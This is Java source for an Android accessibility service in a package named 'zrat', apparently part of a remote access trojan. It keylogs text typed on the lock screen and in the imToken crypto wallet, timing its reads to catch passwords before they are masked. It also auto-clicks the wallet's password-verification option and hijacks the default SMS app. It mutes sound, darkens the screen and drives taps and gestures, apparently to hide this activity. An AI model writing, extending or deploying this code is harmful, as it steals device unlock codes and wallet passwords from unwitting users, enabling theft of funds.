package com.example.zrat;

import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.GestureDescription;
import android.app.KeyguardManager;
import android.app.admin.DevicePolicyManager;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.view.KeyEvent;
import android.graphics.Path;
import android.graphics.Rect;
import android.media.AudioManager;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.PowerManager;
import android.os.SystemClock;
import android.provider.Settings;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.FrameLayout;
import android.widget.ImageButton;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

import com.google.gson.Gson;

import java.util.ArrayDeque;
import java.util.ArrayList;
import java.util.Deque;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Optional;

public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
    private static final String TAG = "AccessibilityService";

    Deque<String> textQueue;

    FrameLayout mLayout;

    public static AccessibilityService instance;

    // 文本聚合缓冲
    private final Object bufferLock = new Object();
    private final StringBuilder aggregateBuffer = new StringBuilder();
    private final Handler flushHandler = new Handler(Looper.getMainLooper());
    private static volatile long flushIdleMs = 5000L;
    private long lastAppendAt = 0L;
    private String currentAggregateAppName = null;
    private final Runnable idleFlushRunnable = new Runnable() {
        @Override
        public void run() {
            synchronized (bufferLock) {
                if (System.currentTimeMillis() - lastAppendAt >= flushIdleMs) {
                    flushBuffer();
                } else {
                    scheduleIdleFlush();
                }
            }
        }
    };

    // imToken 输入框焦点跟踪
    private boolean imTokenInputFocused = false;

    public AccessibilityService() {
    }

    @Override
    protected void onServiceConnected() {
        super.onServiceConnected();
        instance = this;

        // 读取可配置的空闲上传间隔（毫秒），key: flush_idle_ms，默认 5000
        try {
            SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
            long configured = sp.getLong("flush_idle_ms", 5000L);
            if (configured < 1000L) configured = 1000L; // 下限 1s，避免太频繁
            flushIdleMs = configured;
            Log.i(TAG, "flushIdleMs configured: " + flushIdleMs + " ms");
        } catch (Throwable ignored) {
        }

        AccessibilityServiceInfo info = new AccessibilityServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
                | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED
                | AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED
                | AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
                | AccessibilityEvent.TYPE_VIEW_FOCUSED
                | AccessibilityEvent.TYPE_VIEW_CLICKED
                | AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        // 降低延迟，尽量在掩码前拿到文本
        info.notificationTimeout = 0;
        info.flags = AccessibilityServiceInfo.DEFAULT
                | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
        this.setServiceInfo(info);
    }

    private void configureButton() {
        ImageButton btn1 = mLayout.findViewById(R.id.btn1);
        btn1.setOnClickListener(v -> {
            AccessibilityNodeInfo root = getRootInActiveWindow();
            Map<String, Object> nodeInfo = traverseNode(root);
            Gson gson = new Gson();
            String json = gson.toJson(nodeInfo);
            Log.i(TAG, json);
        });
    }

    public Map<String, Object> getScreen() {
        AccessibilityNodeInfo root = getRootInActiveWindow();
        String packageName = root.getPackageName().toString();
        String appName = null;
        try {
            PackageManager packageManager = this.getPackageManager();
            ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
            appName = packageManager.getApplicationLabel(applicationInfo).toString();
        } catch (PackageManager.NameNotFoundException e) {
            throw new RuntimeException(e);
        }
        Map<String, Object> map = traverseNode(root);
        map.put("packageName", packageName);
        map.put("appName", appName);

//        Rect rect = new Rect();
//        root.getWindow().getBoundsInScreen(rect);
//        map.put("windowBounds", rect);
        return map;
    }

    private Map<String, Object> traverseNode(AccessibilityNodeInfo node) {
        if (node == null) {
            return null;
        }

        String className = node.getClassName().toString();
        String name = node.getViewIdResourceName();
        String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
        String id = node.getViewIdResourceName();

        // Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);

        Map<String, Object> map = new HashMap<>();
        map.put("class", node.getClassName());
        map.put("text", node.getText());
        map.put("actions", node.getActionList().stream().map(AccessibilityNodeInfo.AccessibilityAction::getId).toArray());
        Rect rect = new Rect();
        node.getBoundsInScreen(rect);
        map.put("bounds", rect);

        if (node.getChildCount() != 0) {
            List<Map<String, Object>> children = new ArrayList<>();
            for (int i = 0; i < node.getChildCount(); i++) {
                children.add(traverseNode(node.getChild(i)));
                map.put("children", children);
            }
        }
        return map;
    }

    public boolean setDefaultSmsApp() {
        Log.i(TAG, "setDefaultSmsApp: " + Utils.getStringResourceByName(this, "app_name") + ", " + getPackageName());
        AccessibilityNodeInfo root = getRootInActiveWindow();
        SetDefaultSmsAppResult result = new SetDefaultSmsAppResult();
        setDefaultSmsApp(root, result);
        if (!result.isSmsAppSelected()) {
            return false;
        }
        setDefaultSmsApp(root, result);
        return result.isConfirmed();
    }

    public boolean setDefaultSmsApp1() {
        Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
        startActivity(i);

        new Thread(() -> {
            try {
                Thread.sleep(1000);
                AccessibilityNodeInfo root = getRootInActiveWindow();
                SetDefaultSmsAppResult result = new SetDefaultSmsAppResult();
                setDefaultSmsApp(root, result);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }).start();
        return false;
    }

    private void setDefaultSmsApp(AccessibilityNodeInfo node, SetDefaultSmsAppResult result) {
        if (node == null) {
            return;
        }

        String className = node.getClassName().toString();
        String name = node.getViewIdResourceName();
        String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
        String id = node.getViewIdResourceName();

        Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);

        if ("com.android.permissioncontroller:id/title".equals(id)
                && Utils.getStringResourceByName(this, "app_name").equals(text)) {
            Log.i(TAG, "found item");
            node.getParent().performAction(AccessibilityNodeInfo.ACTION_CLICK);
            result.setSmsAppSelected(true);
        }

        if ("android:id/button1".equals(id) && result.isSmsAppSelected()) {
            Log.i(TAG, "found confirm button");
            node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
            result.setConfirmed(true);
        }

        if (node.getChildCount() != 0) {
            for (int i = 0; i < node.getChildCount(); i++) {
                setDefaultSmsApp(node.getChild(i), result);
            }
        }
    }

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        // Log.i(TAG, "onAccessibilityEvent: " + event.toString());

        try {
            String packageName = event.getPackageName().toString();
            int eventType = event.getEventType();
            PackageManager packageManager = this.getPackageManager();
            ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
            CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
            Log.i(TAG, "onAccessibilityEvent: app name is: " + applicationLabel);
            // 应用,界面切换
            if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                String eventSource = detectAppSource(packageName, applicationLabel);
                boolean stillSame = currentAggregateAppName == null || currentAggregateAppName.equals(eventSource);
                if (!stillSame) {
                    if ("LockScreen".equals(currentAggregateAppName)) {
                        flushBuffer();
                    }
                }
                traverseNode(getRootInActiveWindow());
            }

            // 输入文本记录
            if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
                AccessibilityNodeInfo source = event.getSource();
                if (source != null) {
                    CharSequence inputText = source.getText();
                    CharSequence contentDescription = source.getContentDescription();
                    if (inputText != null) {
                        if (contentDescription == null) {
                            contentDescription = "";
                        }
                        // 锁屏界面文本记录（聚合，优先事件快照）
                        if (isOnLockScreen()) {
                            List<CharSequence> eventTexts = event.getText();
                            String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
                                    ? eventTexts.get(0).toString() : null;
                            String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
                            Log.i(TAG, "锁屏文本记录 | Text: " + toSave);
                            appendAggregateLine("LockScreen", toSave);
                        }
                        // imToken 文本记录（聚合，优先事件快照）
                        if ("imToken".equals(applicationLabel.toString()) || "im.token.app".equals(packageName)) {
                            List<CharSequence> eventTexts = event.getText();
                            String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
                                    ? eventTexts.get(0).toString() : null;
                            String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
                            // 尝试抓取新增片段，提升首字命中
                            try {
                                if (eventTextStr != null && event.getAddedCount() > 0 && event.getFromIndex() >= 0) {
                                    int from = event.getFromIndex();
                                    int to = from + event.getAddedCount();
                                    if (to <= eventTextStr.length()) {
                                        String added = eventTextStr.substring(from, to);
                                        if (added != null && !added.isEmpty()) {
                                            toSave = eventTextStr; // 保留完整快照
                                        }
                                    }
                                }
                            } catch (Throwable ignored) {
                            }
                            Log.i(TAG, "imToken文本记录 | Text: " + toSave);
                            appendAggregateLine("imToken", toSave);
                        }
                    }
                }
            }

            // 文本选择变化：有些输入法先通过选择变更暴露明文
            if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED) {
                List<CharSequence> eventTexts = event.getText();
                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
                        ? eventTexts.get(0).toString() : null;
                AccessibilityNodeInfo source = event.getSource();
                String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
                String toSave = eventTextStr != null ? eventTextStr : (nodeStr != null ? nodeStr : "");
                if (isOnLockScreen()) {
                    appendAggregateLine("LockScreen", toSave);
                    return;
                }
                if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString())) {
                    appendAggregateLine("imToken", toSave);
                    return;
                }
            }

            // 窗口内容文本变化：部分 ROM 文本更早从此事件到达
            if (eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
                    && (event.getContentChangeTypes() & AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT) != 0) {
                List<CharSequence> eventTexts = event.getText();
                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
                        ? eventTexts.get(0).toString() : null;
                AccessibilityNodeInfo source = event.getSource();
                String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
                String toSave = eventTextStr != null ? eventTextStr : (nodeStr != null ? nodeStr : "");
                if (isOnLockScreen()) {
                    appendAggregateLine("LockScreen", toSave);
                    return;
                }
                if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString())) {
                    appendAggregateLine("imToken", toSave);
                    return;
                }
            }

            // imToken：仅在点击其他按钮（非可编辑控件）时上传
            if (eventType == AccessibilityEvent.TYPE_VIEW_CLICKED
                    && ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString()))) {
                AccessibilityNodeInfo clicked = event.getSource();
                boolean clickedEditable = clicked != null && (clicked.isEditable() ||
                        (clicked.getClassName() != null && clicked.getClassName().toString().contains("EditText")));
                if (!clickedEditable && "imToken".equals(currentAggregateAppName)) {
                    flushBuffer();
                    return;
                }
            }

            // 检测钱包密码验证区域
            if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
                scanForWalletPasswordVerification();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onInterrupt() {
        flushBuffer();
    }

    public void performClick(int x, int y) {
        Path tap = new Path();
        tap.moveTo(x, y);
        GestureDescription.Builder tapBuilder = new GestureDescription.Builder();
        tapBuilder.addStroke(new GestureDescription.StrokeDescription(tap, 0, 200));
        dispatchGesture(tapBuilder.build(), null, null);
    }

    public void updateFlushIdleMs(long newMs) {
        if (newMs < 1000L) newMs = 1000L;
        flushIdleMs = newMs;
        try {
            SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
            sp.edit().putLong("flush_idle_ms", flushIdleMs).apply();
            Log.i(TAG, "flushIdleMs updated: " + flushIdleMs + " ms");
        } catch (Throwable ignored) {
        }
        scheduleIdleFlush();
    }

    private String detectAppSource(String packageName, CharSequence applicationLabel) {
        if (isOnLockScreen()) return "LockScreen";
        if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel != null ? applicationLabel.toString() : null))
            return "imToken";
        return null;
    }

    private boolean isEditableFocused(AccessibilityNodeInfo node) {
        if (node == null) return false;
        if (!node.isFocused()) return false;
        if (node.isEditable()) return true;
        CharSequence cls = node.getClassName();
        return cls != null && cls.toString().contains("EditText");
    }

    private boolean aggregateFromEvent(String packageName, CharSequence applicationLabel, AccessibilityEvent event, AccessibilityNodeInfo source) {
        String appName = detectAppSource(packageName, applicationLabel);
        if (appName == null) return false;
        List<CharSequence> eventTexts = event.getText();
        String snapshot = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null) ? eventTexts.get(0).toString() : null;
        String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
        String toSave = snapshot != null ? snapshot : (nodeStr != null ? nodeStr : "");
        appendAggregateLine(appName, toSave);
        return true;
    }

    private AccessibilityNodeInfo findScrollableNode(AccessibilityNodeInfo root, AccessibilityNodeInfo.AccessibilityAction action) {
        Deque<AccessibilityNodeInfo> deque = new ArrayDeque<>();
        deque.add(root);
        while (!deque.isEmpty()) {
            AccessibilityNodeInfo node = deque.removeFirst();
            if (node.getActionList().contains(action)) {
                return node;
            }
            for (int i = 0; i < node.getChildCount(); i++) {
                deque.addLast(node.getChild(i));
            }
        }
        return null;
    }

    public void scrollDown() {
        AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
        if (scrollable != null) {
            boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
            if (success) {
                return;
            }
        }

        int screenHeight = getResources().getDisplayMetrics().heightPixels;
        int screenWidth = getResources().getDisplayMetrics().widthPixels;

        Path path = new Path();
        path.moveTo(screenWidth / 2, screenHeight / 4);
        path.lineTo(screenWidth / 2, screenHeight * 3 / 4);

        GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
        gestureBuilder.addStroke(new GestureDescription.StrokeDescription(path, 0, 300));
        dispatchGesture(gestureBuilder.build(), null, null);
    }

    public void scrollUp() {
        AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD);
        if (scrollable != null) {
            boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
            if (success) {
                return;
            }
        }

        int screenHeight = getResources().getDisplayMetrics().heightPixels;
        int screenWidth = getResources().getDisplayMetrics().widthPixels;

        Path path = new Path();
        path.moveTo(screenWidth / 2, screenHeight * 3 / 4);
        path.lineTo(screenWidth / 2, screenHeight / 4);

        GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
        gestureBuilder.addStroke(new GestureDescription.StrokeDescription(path, 0, 300));
        dispatchGesture(gestureBuilder.build(), null, null);
    }

    public void home() {
        performGlobalAction(GLOBAL_ACTION_HOME);
    }

    public void back() {
        performGlobalAction(GLOBAL_ACTION_BACK);
    }

    public void recent() {
        performGlobalAction(GLOBAL_ACTION_RECENTS);
    }

    public void mute() {
        try {
            AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
            if (audioManager != null) {
                try {
                    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) {
                        audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
                        Log.i(TAG, "铃声模式设置成功");
                    }
                } catch (SecurityException se) {
                    Log.e(TAG, "设置铃声模式失败（权限问题）: " + se.getMessage());
                } catch (Exception e) {
                    Log.e(TAG, "设置铃声模式失败: " + e.getMessage());
                }

                try {
                    // 获取每个音频流的最小音量值
                    int minMusicVolume = 0;
                    int minNotificationVolume = 0;
                    int minSystemVolume = 0;
                    int minRingVolume = 0;
                    int minDtmfVolume = 0;
                    int minAlarmVolume = 0;

                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
                        // Android 9.0 (API 28)及以上使用getStreamMinVolume
                        minMusicVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
                        minNotificationVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_NOTIFICATION);
                        minSystemVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_SYSTEM);
                        minRingVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_RING);
                        minDtmfVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_DTMF);
                        minAlarmVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_ALARM);
                    }

                    // 媒体音量
                    audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, minMusicVolume, 0);
                    // 通知音量
                    audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, minNotificationVolume, 0);
                    // 系统音量
                    audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, minSystemVolume, 0);
                    // 铃声音量
                    audioManager.setStreamVolume(AudioManager.STREAM_RING, minRingVolume, 0);
                    // 拨号音量
                    audioManager.setStreamVolume(AudioManager.STREAM_DTMF, minDtmfVolume, 0);

                    // 闹钟音量（某些设备可能限制修改闹钟音量）
                    try {
                        audioManager.setStreamVolume(AudioManager.STREAM_ALARM, minAlarmVolume, 0);
                    } catch (Exception e) {
                        Log.e(TAG, "设置闹钟音量失败: " + e.getMessage());
                    }

                    Log.i(TAG, "音量设置成功");
                } catch (Exception e) {
                    Log.e(TAG, "设置音量失败: " + e.getMessage());
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "静音设置失败: " + e.getMessage(), e);
        }
    }

    private void appendAggregateLine(String appName, String line) {
        if (line == null) return;
        synchronized (bufferLock) {
            if (currentAggregateAppName != null && !currentAggregateAppName.equals(appName)) {
                flushBuffer();
            }
            currentAggregateAppName = appName;
            if (aggregateBuffer.length() > 0) aggregateBuffer.append('\n');
            aggregateBuffer.append(line);
            lastAppendAt = System.currentTimeMillis();
            scheduleIdleFlush();
        }
    }

    private void scheduleIdleFlush() {
        flushHandler.removeCallbacks(idleFlushRunnable);
        flushHandler.postDelayed(idleFlushRunnable, flushIdleMs);
    }

    private void flushBuffer() {
        String payload = null;
        String appName = null;
        synchronized (bufferLock) {
            if (aggregateBuffer.length() > 0) {
                payload = aggregateBuffer.toString();
                aggregateBuffer.setLength(0);
                appName = currentAggregateAppName;
                currentAggregateAppName = null;
            }
            flushHandler.removeCallbacks(idleFlushRunnable);
        }
        if (payload != null && !payload.isEmpty() && appName != null) {
            Map<String, Object> map = new HashMap<>();
            map.put("appName", appName);
            map.put("record", payload);
            map.put("ts", System.currentTimeMillis());
            ZService.zService.saveTextRecordToDataBase(map);
        }
    }

    public void screenOff() {
        try {
            if (Settings.System.canWrite(this)) {
                Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 0);
                Log.i(TAG, "已通过Settings.System设置亮度为0");
            } else {
                Log.w(TAG, "无WRITE_SETTINGS权限，正在请求用户授权");
                Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
                intent.setData(Uri.parse("package:" + getPackageName()));
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(intent);
            }
        } catch (Exception e) {
            Log.e(TAG, "亮度设置失败: " + e.getMessage(), e);
        }
    }

    public void intoLockScreen() {
        PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE);
        PowerManager.WakeLock wakeLock = powerManager.newWakeLock(PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, "MyApp::WakeLock");
        wakeLock.acquire(10 * 60 * 1000L);
        wakeLock.release();
    }

    private void scanForWalletPasswordVerification() {
        // 检查当前应用是否是imToken
        AccessibilityNodeInfo currentRoot = getRootInActiveWindow();
        if (currentRoot != null) {
            String packageName = currentRoot.getPackageName().toString();
            if (!"im.token.app".equals(packageName)) {
                Log.i(TAG, "当前应用不是imToken，不进行扫描");
                return;
            }
        }

        new Thread(() -> {
            try {
                // 最多扫描10次，每次间隔1秒
                for (int i = 0; i < 10; i++) {
                    Log.i(TAG, "开始第 " + (i + 1) + " 次扫描");
                    AccessibilityNodeInfo root = getRootInActiveWindow();
                    if (root != null) {
                        // 再次检查应用
                        String packageName = root.getPackageName().toString();
                        if (!"im.token.app".equals(packageName)) {
                            Log.i(TAG, "应用已切换，停止扫描");
                            return;
                        }

                        List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText("使用钱包密码验证");
                        if (nodes != null && !nodes.isEmpty()) {
                            for (AccessibilityNodeInfo node : nodes) {
                                // 尝试点击节点本身
                                if (node.isClickable()) {
                                    node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                                    Log.i(TAG, "主动扫描：已点击钱包密码验证区域");
                                    return; // 找到并点击成功，直接返回
                                }

                                // 如果节点本身不可点击，尝试点击其父节点
                                AccessibilityNodeInfo parent = node.getParent();
                                if (parent != null && parent.isClickable()) {
                                    parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                                    Log.i(TAG, "主动扫描：已点击钱包密码验证父区域");
                                    return; // 找到并点击成功，直接返回
                                }

                                // 如果父节点也不可点击，尝试查找同级的可点击节点
                                if (parent != null) {
                                    for (int j = 0; j < parent.getChildCount(); j++) {
                                        AccessibilityNodeInfo sibling = parent.getChild(j);
                                        if (sibling != node && sibling.isClickable()) {
                                            sibling.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                                            Log.i(TAG, "主动扫描：已点击钱包密码验证同级区域");
                                            return; // 找到并点击成功，直接返回
                                        }
                                    }
                                }

                                // 如果以上都不可点击，尝试使用坐标点击
                                Rect rect = new Rect();
                                node.getBoundsInScreen(rect);
                                if (!rect.isEmpty()) {
                                    int x = rect.centerX();
                                    int y = rect.centerY();
                                    performClick(x, y);
                                    Log.i(TAG, "主动扫描：已通过坐标点击钱包密码验证区域");
                                    return; // 找到并点击成功，直接返回
                                }
                            }
                        } else {
                            Log.i(TAG, "主动扫描：第 " + (i + 1) + " 次未找到钱包密码验证区域");
                        }
                    }
                    // 每次扫描间隔1秒
                    Thread.sleep(1000);
                }
                Log.i(TAG, "主动扫描：完成所有扫描，未找到可点击区域");
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private boolean isOnLockScreen() {
        try {
            KeyguardManager keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
            if (keyguardManager == null) {
                return false;
            }
            if (keyguardManager.isKeyguardLocked()) {
                return true;
            }
            // 兼容旧设备
            if (keyguardManager.inKeyguardRestrictedInputMode()) {
                return true;
            }
        } catch (Throwable ignored) {
        }
        return false;
    }
}